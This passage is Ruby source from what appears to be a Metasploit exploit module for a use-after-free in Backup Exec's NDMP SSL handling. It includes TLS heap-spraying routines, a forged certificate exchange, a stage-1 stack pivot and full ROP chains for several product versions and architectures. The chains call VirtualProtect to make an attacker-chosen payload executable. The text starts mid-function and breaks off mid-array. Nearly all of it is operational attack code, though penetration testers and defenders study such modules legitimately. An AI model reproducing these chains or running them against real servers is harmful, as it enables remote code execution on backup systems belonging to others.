        #   Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4
        #   Otherwise: Stage 1 jumps to 0x4
        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #    0 | 16 | 03 | 01 | ln | pop x3; ret       | FL | ret 3             | ret
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #   10      | FILLER       | retsled...        | stages 2 to 4...
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+

        pop_x3 = [0x6311f901].pack('L<')
        ret_3 = [0x6312164a].pack('L<')
        ret = [0x63101514].pack('L<')
        payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +
                   ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)

        stage_tls = generate_tls_handshake_record(payload, pop_x3[0])
      else
        # x86, version 15/16. Use a SSLv2 hqndshake record
        #   Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4
        #   Otherwise: Stage 1 jumps to 0x4
        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #    0 | length  | 01 | 03 | add esp, 0xc; ret | FILLER                           | inc esp; ret
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #   10                | FL | retsled...        | stages 2 to 4...
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+

        add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')
        inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')
        ret = [0x63101564].pack('L<')
        payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +
                  ret * [0, datastore['NumTriggerAttempts'] - 3].max +
                  generate_stages_2_to_4

        stage_tls = generate_tls_in_sslv2_clienthello(payload)
      end
    end
    s.raw_sendall(stage_tls, 0)
    if target.opts['Version'] == 14
      resp = s.raw_recv(5)
      fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
      s.raw_recv(resp[3...5].unpack('n')[0])
    end

    print_status('Closing TLS spray sockets...')
    tls_spray_socks.reverse! unless target.opts['Win8Upwards']
    tls_spray_socks.each do |ts|
      ts.close
      sleep(0.1)
    end
    sleep(1)

    # Spray stage 1 in the string payloads of selected NDMP packet types
    if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64
      spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])
      spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR
    else
      spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2
      spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH
    end
    spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)

    # We need to be able to detect as soon as a connection is made to the payload in order
    # to stop spraying/trigger attempts ASAP
    @payload_connected = false
    if payload_instance.respond_to?(:handle_connection)
      old_handle_connect = payload_instance.method(:handle_connection)
      payload_instance.define_singleton_method(:handle_connection) do |*args|
        @payload_connected = true
        old_handle_connect.call(*args)
      end
    end

    if target.opts['Win8Upwards']
      # After this SSL request, the BIO struct is freed but still referred to in the new
      # SSL context
      print_status('Re-entering SSL mode on main socket...')
      require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)

      # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF
      attempt_triggers(s, spray_socks, spray_msg)
    else
      # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race
      attempt_race(s, spray_socks, spray_msg, ca_cert_id)
    end

    handler
  end

  private

  SSL_HANDSHAKE_REQUEST = 0xf383

  class SSLRequest < XDR::Struct
    class Opcode < XDR::Enum
      member :test_cert, 1
      member :get_csr_req, 2
      member :give_signed_cert, 3
      member :start_ssl, 4
      seal
    end

    attribute :opcode,            Opcode
    attribute :media_server_name, XDR::String[]
    attribute :media_server_fqdn, XDR::String[]
    attribute :media_server_addr, XDR::String[]
    attribute :cert_id_1,         XDR::Int
    attribute :cert_id_2,         XDR::Int
    attribute :unknown1,          XDR::Int
    attribute :unknown2,          XDR::Int
    attribute :unknown3,          XDR::Int
    attribute :ca_cert,           XDR::String[]
    attribute :unknown4,          XDR::Int
    attribute :agent_cert,        XDR::String[]

    def self.new_for_opcode(opcode)
      new(
        :opcode            => opcode,
        :media_server_name => 'foo',
        :media_server_fqdn => 'foo',
        :media_server_addr => 'foo',
        :cert_id_1         => 0,
        :cert_id_2         => 0,
        :unknown1          => 0,
        :unknown2          => 0,
        :unknown3          => 0,
        :ca_cert           => '',
        :unknown4          => 0,
        :agent_cert        => ''
      )
    end
  end

  class SSLResponse < XDR::Struct
    attribute :unknown1, XDR::Int
    attribute :unknown2, XDR::String[]
    attribute :unknown3, XDR::Int
    attribute :unknown4, XDR::String[]

    def empty?
      (attributes[:unknown1].zero? && attributes[:unknown2].empty? &&
       attributes[:unknown3].zero? && attributes[:unknown4].empty?)
    end
  end

  class ServiceInfoResponse < XDR::Struct
    attribute :error,           XDR::Int
    attribute :vendor_name,     XDR::String[]
    attribute :product_name,    XDR::String[]
    attribute :revision_number, XDR::String[]
    attribute :auth_types,      XDR::VarArray[XDR::Int]
  end

  class HostInfoResponse < XDR::Struct
    attribute :error,      XDR::Int
    attribute :hostname,   XDR::String[]
    attribute :os_type,    XDR::String[]
    attribute :os_version, XDR::String[]
    attribute :host_id,    XDR::String[]
    attribute :unknown,    XDR::VarArray[XDR::Int]
  end

  #
  # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.
  #
  def connect_ndmp(s, version, phase=nil)
    if phase.nil? || phase == 1
      return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
    end

    if phase.nil? || phase == 2
      return false unless s.prepare_and_write_ndmp_msg(
        NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))
      )
    end

    if phase.nil? || phase == 3
      msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
      return false unless msg
      fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
    end

    true
  end

  #
  # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.
  #
  def connect_additional_sockets(num_socks, version)
    socks = (0...num_socks).map do
      NDMP::Socket.new(connect(false))
    end

    (1..3).each do |phase|
      socks.each do |ss|
        unless connect_ndmp(ss, version, phase)
          fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
        end
      end
    end

    socks
  end

  #
  # Send a Backup Exec-specific SSL NDMP request and receive the response.
  #
  def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil)
    if phase.nil? || phase == 1
      req = SSLRequest.new_for_opcode(opcode)
      req.cert_id_1 = req.cert_id_2 = ca_cert_id
      msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)

      if block_given?
        last = s.prepare_and_write_ndmp_msg(msg, true)
        return nil unless last
        sleep(1)
        yield true
        s.raw_sendall(last, 0)
        yield false
      else
        return nil unless s.prepare_and_write_ndmp_msg(msg)
      end
    end

    if phase.nil? || phase == 2
      msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)
      return msg ? SSLResponse.from_xdr(msg.body) : nil
    end

    nil
  end

  #
  # Send a Backup Exec SSL NDMP request and receive the response, requiring the response
  # to be empty.
  #
  def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
    resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
    if phase.nil? || phase == 2
      fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
      fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
    end
  end

  #
  # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
  # of the SHA-1 of the issuer and the raw serial number.
  #
  def get_cert_id(cert)
    Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]
  end

  #
  # Create a self-signed CA certificate and matching key.
  #
  def generate_ca_cert_and_key(key_len=2048)
    ca_key = OpenSSL::PKey::RSA.new(key_len)

    ca_cert = OpenSSL::X509::Certificate.new
    ca_cert.version    = 3
    ca_cert.serial     = 1
    ca_cert.subject    = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')
    ca_cert.not_before = Time.now - 60 * 60 * 24
    ca_cert.not_after  = Time.now + 60 * 60 * 24 * 365
    ca_cert.public_key = ca_key.public_key

    extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)
    ca_cert.extensions = [
      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
      extn_factory.create_extension('basicConstraints', 'critical,CA:true')
    ]
    # Have to do this after creating subjectKeyIdentifier extension
    ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))

    ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)

    [ca_cert, ca_key]
  end

  #
  # Get and handle a certificate signing request from Backup Exec with the given CA
  # certificate and key.
  #
  def handle_a_csr(s, ca_cert, ca_key)
    resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)
    return nil if resp.nil?
    request = OpenSSL::X509::Request.new(resp.unknown2)

    agent_cert = OpenSSL::X509::Certificate.new
    agent_cert.version    = 3
    agent_cert.serial     = 2
    agent_cert.subject    = request.subject
    agent_cert.issuer     = ca_cert.subject
    agent_cert.not_before = Time.now - 60 * 60 * 24
    agent_cert.not_after  = Time.now + 60 * 60 * 24 * 365
    agent_cert.public_key = request.public_key

    extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)
    agent_cert.extensions = [
      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
      extn_factory.create_extension('basicConstraints', 'critical,CA:false')
    ]
    # Have to do this after creating subjectKeyIdentifier extension
    agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))

    agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)

    req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)
    req.ca_cert = ca_cert.to_s
    req.agent_cert = agent_cert.to_s
    return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))

    agent_cert
  end

  #
  # Generate a TLS handshake record with the given payload.
  #
  def generate_tls_handshake_record(payload, required_fifth_byte=nil)
    fail_with(Failure::Unknown, 'No payload') if payload.empty?

    # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
    # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
    # the header, which is the second byte of the length word
    unless required_fifth_byte.nil?
      payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)
    end
    "\x16\x03\x01" + [payload.length].pack('n') + payload
  end

  #
  # Generate a TLS ClientHello record with the given Random and extensions (ie. for
  # holding stages 2-4).
  #
  def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
    if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
      fail_with(Failure::Unknown, 'No TLS extension payloads given')
    end
    if ec_formats_extn_payload.length > 0xff
      fail_with(Failure::Unknown, 'Bad EC formats extension length')
    end
    if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
      fail_with(Failure::Unknown, 'Bad curves extension length')
    end
    if random.length != 0x20
      fail_with(Failure::Unknown, 'Bad random length')
    end

    extns = ''
    unless curves_extn_payload.empty?
      extns << [
        10,
        curves_extn_payload.length + 2,
        curves_extn_payload.length
      ].pack('n*') + curves_extn_payload
    end
    unless ec_formats_extn_payload.empty?
      extns << [
        11,
        ec_formats_extn_payload.length + 1,
        ec_formats_extn_payload.length
      ].pack('nnC') + ec_formats_extn_payload
    end

    r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"
    r << [extns.length].pack('n') + extns

    r = "\x01" + [r.length].pack('N')[1...4] + r

    generate_tls_handshake_record(r)
  end

  #
  # Generate a TLS ClientHello record in a SSLv2 record with a given payload.
  #
  def generate_tls_in_sslv2_clienthello(payload)
    fail_with(Failure::Unknown, 'No payload') if payload.empty?
    fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1

    r = "\x01\x03" + payload
    [r.length | 0x8000].pack('n') + r
  end

  #
  # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.
  #
  def spray_tls_extensions(tls_spray_socks, ca_cert_id)
    payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40
    spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))

    print_status('Spraying TLS extensions...')
    (1..2).each do |phase|
      tls_spray_socks.each do |ts|
        require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
        require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)

        if phase == 2
          ts.raw_sendall(spray, 0)
          sleep(0.1)
        end
      end
    end
    sleep(1)
  end

  #
  # Generate stage 1.
  #
  # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable
  # location (to prevent Backup Exec from falling over or failing) and a stack pivot to
  # some offset from the current SSL socket buffer read location, which will hold a
  # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot
  # offset will be different at each UAF trigger attempt; see attempt_triggers).
  #
  def generate_stage_1
    if target.opts['Arch'] == ARCH_X64
      stage_1 = [
        # +0x18 from here is a non-zero, readable location. This is the load address of
        # becrypto.dll (which is non-ASLR)
        0xbe00000,
        # On x64, we pivot into the current SSL socket buffer read location + 0x18
        # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret
        [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]
      ].pack('Q<*')
    else
      stage_1 = [
        # +0x18 from here is a non-zero, readable location. This is the load address of
        # becrypto.dll (which is non-ASLR)
        0x63100000,
        # On x86, we pivot into the current SSL socket buffer read location + 0x4
        # mov esp, ebp; pop ebp; ret
        target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d
      ].pack('L<*')
    end
    stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)
  end

  #
  # Generate stages 2 to 4.
  #
  # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted
  # to) onto the stack, bypassing Windows 8+'s check before certain functions (like
  # VirtualProtect) that we have called them from within expected stack memory instead of
  # the heap.
  #
  # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable
  # (but we only really need stage 4 executable anyway).
  #
  # Stage 4 is the user-selected Metasploit payload code.
  #
  def generate_stages_2_to_4
    stage_4 = payload.encoded

    if target.opts['Arch'] == ARCH_X64
      if target.opts['Version'] == 14
        stage_3 = [
          0,         # skipped by stage 2
          0xbe31359, # push rax; pop rsi; ret
          0xbe01f72, # pop rax; ret
          0,
          0xbe3d250, # add rax, rcx; ret
          0xbe1c2f9, # pop r12; ret
          0xbe2ab32, # pop r8; ret
          0xbe2987c, # mov rcx, rax; call r12
          0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]
          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe37f75, # push rax; pop rdi; ret
          0xbe43b25, # mov rcx, rsi; call r12
          0xbe01f72, # pop rax; ret
          0,
          0xbe3d250, # add rax, rcx; ret
          0xbe6949a, # push rax; pop r12; ret
          0xbe4f7ec, # pop r14; pop r13; ret
          0xbe2ab32, # pop r8; ret
          0,
          0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14
          0xbe01f72, # pop rax; ret
          0xbe2ab32, # pop r8; ret
          0xbe36e8e, # mov rcx, rdi; call rax
          0xbe01a29, # ret
          0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]
          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe37f75, # push rax; pop rdi; ret
          0xbe1c2f9, # pop r12; ret
          0xbe2ab32, # pop r8; ret
          0xbe43b25, # mov rcx, rsi; call r12
          0xbe399d0, # pop r13; ret
          1 << 31,
          0xbe33c3e, # mov rdx, r13; call r12
          0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret
          0xbe399d0, # pop r13; ret
          0,
          0xbe33c3e, # mov rdx, r13; call r12
          0xbe2ab32, # pop r8; ret
          0x40,      # PAGE_EXECUTE_READWRITE
          0xbe01a29, # ret
          0xbe5180b, # jmp rdi
          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe63938  # push rsp; ret
        ]
        stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length
        kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')
        stage_3[17] = stage_3[3] + kernel32_dll.length
        stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"
      elsif target.opts['Version'] == 15
        stage_3 = [
          0xbe68a34, # push rax; pop rbx; ret
          0xbe087c8, # pop rax; ret
          0,
          0xbe60dc0, # add rax, rcx; ret
          0xbe9b627, # mov rcx, rax; call r12
          0xbe4929d, # ret
          0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe34c0c, # push rax; pop rbp; ret
          0xbefc534, # mov rcx, rbx; call r12
          0xbe087c8, # pop rax; ret
          0,
          0xbe60dc0, # add rax, rcx; ret
          0xbe9b627, # mov rcx, rax; call r12
          0xbefc526, # mov rdx, rcx; call r12
          0xbe9ad68, # mov rcx, rbp; call r12
          0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]
          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe43269, # push rax; pop rsi; ret
          0xbefc534, # mov rcx, rbx; call r12
          0xbebd50e, # pop r13; ret
          0,
          0xbe97c4e, # mov rdx, r13; call r12
          0xbeae99d, # pop r8; ret
          0x40,      # PAGE_EXECUTE_READWRITE
          0xbe3c9c0, # test rdx, rdx; setne al; ret
          0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret
          0xbe4929d, # ret
          0xbe9436d, # jmp rsi
          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe2184d, # pop rdi; ret
          0xbebd50e, # pop r13; ret
          0xbe9a8ac  # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
        ]
        stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length
        stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length
        stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
      elsif target.opts['Version'] == 16
        stage_3 = [
          0xbe4e888, # push rax; pop rbx; ret
          0xbe01f72, # pop rax; ret
          0,
          0xbe610f0, # add rax, rcx; ret
          0xbe9c70c, # mov rcx, rax; call r12
          0xbe01c2c, # ret
          0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe12ed0, # pop rdi; ret
          0xbe45a01, # pop r13; ret
          0xbeaedb0, # mov rbp, rax; call rdi
          0xbe5851a, # mov rcx, rbx; call r12
          0xbe01f72, # pop rax; ret
          0,
          0xbe610f0, # add rax, rcx; ret
          0xbe9c70c, # mov rcx, rax; call r12
          0xbefe516, # mov rdx, rcx; call r12
          0xbe9bf28, # mov rcx, rbp; call r12
          0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]
          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe433b9, # push rax; pop rsi; ret
          0xbe5851a, # mov rcx, rbx; call r12
          0xbe45a01, # pop r13; ret
          0,
          0xbe2e55e, # mov rdx, r13; call r12
          0xbe27c76, # pop r8; ret
          0x40,      # PAGE_EXECUTE_READWRITE
          0xbe3caf0, # test rdx, rdx; setne al; ret
          0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret
          0xbe01c2c, # ret
          0xbe56cad, # jmp rsi
          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
          0,
          0,
          0,
          0,
          0xbe12ed0, # pop rdi; ret
          0xbe45a01, # pop r13; ret
          0xbe9ba6c  # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
        ]
        stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length
        stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length
        stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
      end
    else
      if target.opts['Version'] == 14
        stage_3 = [
          0x63117dfa, # pop edi; ret
          0x63101514, # ret
          0x63116cc9, # pop esi; ret
          0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
          0x631017ff, # pop ebp; ret
          0x631213e6, # add esp, 0x20; ret
          0x63137a3c, # pushal; ret
          'KERN'.unpack('<L')[0],
          'EL32'.unpack('<L')[0],
          '.dll'.unpack('<L')[0],
          0,
          0x63117dfa, # pop edi; ret
          0x6311de4c, # pop edi; pop ebp; ret
          0x6311b614, # push eax; call edi
          0x63117dfa, # pop edi; ret
          0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]
          0x63116cc9, # pop esi; ret
          0x631213e6, # add esp, 0x20; ret
          0x63137a3c, # pushal; ret
          'Virt'.unpack('<L')[0],
          'ualP'.unpack('<L')[0],
          'rote'.unpack('<L')[0],
          "ct\0\0".unpack('<L')[0],
          0x6314de45, # xchg eax, edi; ret
          0x6311db46, # push esp; pop esi; ret
          0x6311a398, # xchg eax, esi; ret
          0x63116cc9, # pop esi; ret
          0x6311f902, # pop ebx; pop ecx; ret
          0x63123d89, # push eax; call esi
          0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
          0x63101514, # ret
          0,
          0x631309f4, # pop edx; or al, 0xf6; ret
          0x40,       # PAGE_EXECUTE_READWRITE
          0x63117dfa, # pop edi; ret
          0x63101514, # ret
          0x6310185a, # pop eax; ret
          0x63139ec5, # push esp; ret
          0x63137a3c  # pushal; ret
        ]
        stage_3[31] = stage_4.length + 4
      elsif target.opts['Version'] == 15
        stage_3 = [
          0x6311e378, # pop edi; ret
          0x63101564, # ret
          0x631289b9, # pop esi; ret
          0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]
          0x6310184f, # pop ebp; ret
          0x6313937d, # add esp, 0x20; ret
          0x6311c618, # pushal; ret
          'KERN'.unpack('<L')[0],
          'EL32'.unpack('<L')[0],
          '.dll'.unpack('<L')[0],
          0,
          0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret
          0x6311e378, # pop edi; ret
          0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]
          0x631289b9, # pop esi; ret
          0x6313937d, # add esp, 0x20; ret
          0x6311c618, # pushal; ret
          'Virt'.unpack('<L')[0],
          'ualP'.unpack('<L')[0],
          'rote'.unpack('<L')[0],
          "ct\0\0".unpack('<L')[0],
          0x631289b9, # pop esi; ret
          0x631018aa, # pop eax; ret
          0x63198446, # mov edi, eax; call esi
          0x63137496, # push esp; pop esi; ret
          0x6312c068, # xchg eax, esi; ret
          0x631289b9, # pop esi; ret
          0x6315c407, # pop ebx; pop ecx; ret
          0x63189809, # push eax; call esi
          0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
          0x63101564, # ret
          0,
          0x63156a54, # pop edx; or al, 0xf6; ret
          0x40,       # PAGE_EXECUTE_READWRITE
          0x6311e378, # pop edi; ret
          0x63101564, # ret
          0x631018aa, # pop eax; ret
          0x6311c638, # push esp; ret
          0x6311c618  # pushal; ret
        ]
        stage_3[31] = stage_4.length + 4
      elsif target.opts['Version'] == 16
        stage_3 = [
          0x6311e3c0, # pop edi; ret
          0x63101564, # ret
          0x63128a39, # pop esi; ret
          0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
          0x6310184f, # pop ebp; ret
          0x631394ad, # add esp, 0x20; ret
          0x6311c69c, # pushal; ret
          'KERN'.unpack('<L')[0],
          'EL32'.unpack('<L')[0],
          '.dll'.unpack('<L')[0],
          0,
          0x6311e3c0, # pop edi; ret
          0x631018aa, # pop eax; ret
          0x6319959f, # mov ebp, eax; call edi
          0x6311e3c0, # pop edi; ret
          0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]
          0x63128a39, # pop esi; ret
          0x631394ad, # add esp, 0x20; ret
          0x6311c69c, # pushal; ret
          'Virt'.unpack('<L')[0],
          'ualP'.unpack('<L')[0],
          'rote'.unpack('<L')[0],
          "ct\0\0".unpack('<L')[0],
          0x63128a39, # pop esi; ret
          0x631018aa, # pop eax; ret
          0x631993e6, # mov edi, eax; call esi
          0x631375e6, # push esp; pop esi; ret
          0x6312c0e8, # xchg eax, esi; ret
          0x63128a39, # pop esi; ret
          0x63133031, # pop ebx; pop ecx; ret
          0x6314a34a, # push eax; call esi
          0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
          0x63101564, # ret
          0,
          0x63157084, # pop edx; or al, 0xf6; ret
          0x40,       # PAGE_EXECUTE_READWRITE
          0x6311e3c0, # pop edi; ret
          0x63101564, # ret
          0x631018aa, # pop eax; ret
          0x63134eb6, # push esp; ret
          0x6311c69c  # pushal; ret
        ]
        stage_3[33] = stage_4.length + 4
      end
      stage_3 = stage_3.pack('L<*') + stage_4
    end

    if target.opts['Arch'] == ARCH_X64
      if target.opts['Version'] == 14
        stage_2 = [
          0xbe40d1d, # pop r12; pop rsi; ret
          0xbe1bca3, # pop r12; pop rbx; ret
          0xbe399d0, # pop r13; ret
          0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12
          0xbe501a7, # mov rcx, rbx; call rsi
          0xbe01f72, # pop rax; ret
          0,
          0xbe3d250, # add rax, rcx; ret
          0xbe37f75, # push rax; pop rdi; ret
          0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret
          0xbe24263, # mov rax, qword ptr [rax + 8]; ret
          0xbe1b055, # pop rbx; ret
          0xfffffffffffff000,
          0xbe501a7, # mov rcx, rbx; call rsi
          0xbe3d250, # add rax, rcx; ret
          0xbe1c2f9, # pop r12; ret
          0xbe2ab32, # pop r8; ret
          0xbe2987c, # mov rcx, rax; call r12
          0xbe1b055, # pop rbx; ret
          0xbe2ab32, # pop r8; ret
          0xbe45935, # mov rdx, rdi; call rbx
          0xbe01a29, # ret
          0xbe2ab32, # pop r8; ret
          0,
          0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]
          0xbe2987c, # mov rcx, rax; call r12
          0xbe1cfc0  # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)
        ]
      elsif target.opts['Version'] == 15
        stage_2 = [
          0xbe1e18e, # pop r12; pop rdi; ret
          0xbebd50e, # pop r13; ret
          0xbebc3fd, # pop r14; pop rbp; ret
          0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
          0xbe9ad68, # mov rcx, rbp; call r12
          0xbe087c8, # pop rax; ret
          0,
          0xbe60dc0, # add rax, rcx; ret
          0xbe43269, # push rax; pop rsi; ret
          0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret
          0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret
          0xbe1d923, # pop r12; pop rbx; ret
          0xfffffffffffff000,
          0xbe27c76, # pop r8; ret
          0xbe45511, # mov rcx, r12; call rbx
          0xbe60dc0, # add rax, rcx; ret
          0xbe1df29, # pop r12; ret
          0xbe27c76, # pop r8; ret
          0xbe9b54c, # mov rcx, rax; call r12
          0xbe01f72, # pop rax; ret
          0xbe27c76, # pop r8; ret
          0xbe4164c, # mov rdx, rsi; call rax
          0xbeae99d, # pop r8; ret
          0,
          0xbebda22, # jmp qword ptr [MSVCR100!memcpy]
          0xbe9b627, # mov rcx, rax; call r12
          0xbeeb621  # push rcx; pop rsp; ret
        ]
      elsif target.opts['Version'] == 16
        stage_2 = [
          0xbe1e18e, # pop r12; pop rdi; ret
          0xbe45a01, # pop r13; ret
          0xbe2a433, # pop r14; pop rbp; ret
          0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
          0xbe9bf28, # mov rcx, rbp; call r12
          0xbe01f72, # pop rax; ret
          0,
          0xbe610f0, # add rax, rcx; ret
          0xbe433b9, # push rax; pop rsi; ret
          0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret
          0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret
          0xbe1d923, # pop r12; pop rbx; ret
          0xfffffffffffff000,
          0xbe27c76, # pop r8; ret
          0xbe45681, # mov rcx, r12; call rbx
          0xbe610f0, # add rax, rcx; ret
          0xbe1df29, # pop r12; ret
          0xbe27c76, # pop r8; ret
          0xbe9c70c, # mov rcx, rax; call r12
          0xbe01f72, # pop rax; ret
          0xbe27c76, # pop r8; ret
          0xbe4179c, # mov rdx, rsi; call rax
          0xbe27c76, # pop r8; ret
          0,
          0xbebef22, # jmp qword ptr [MSVCR100!memcpy]
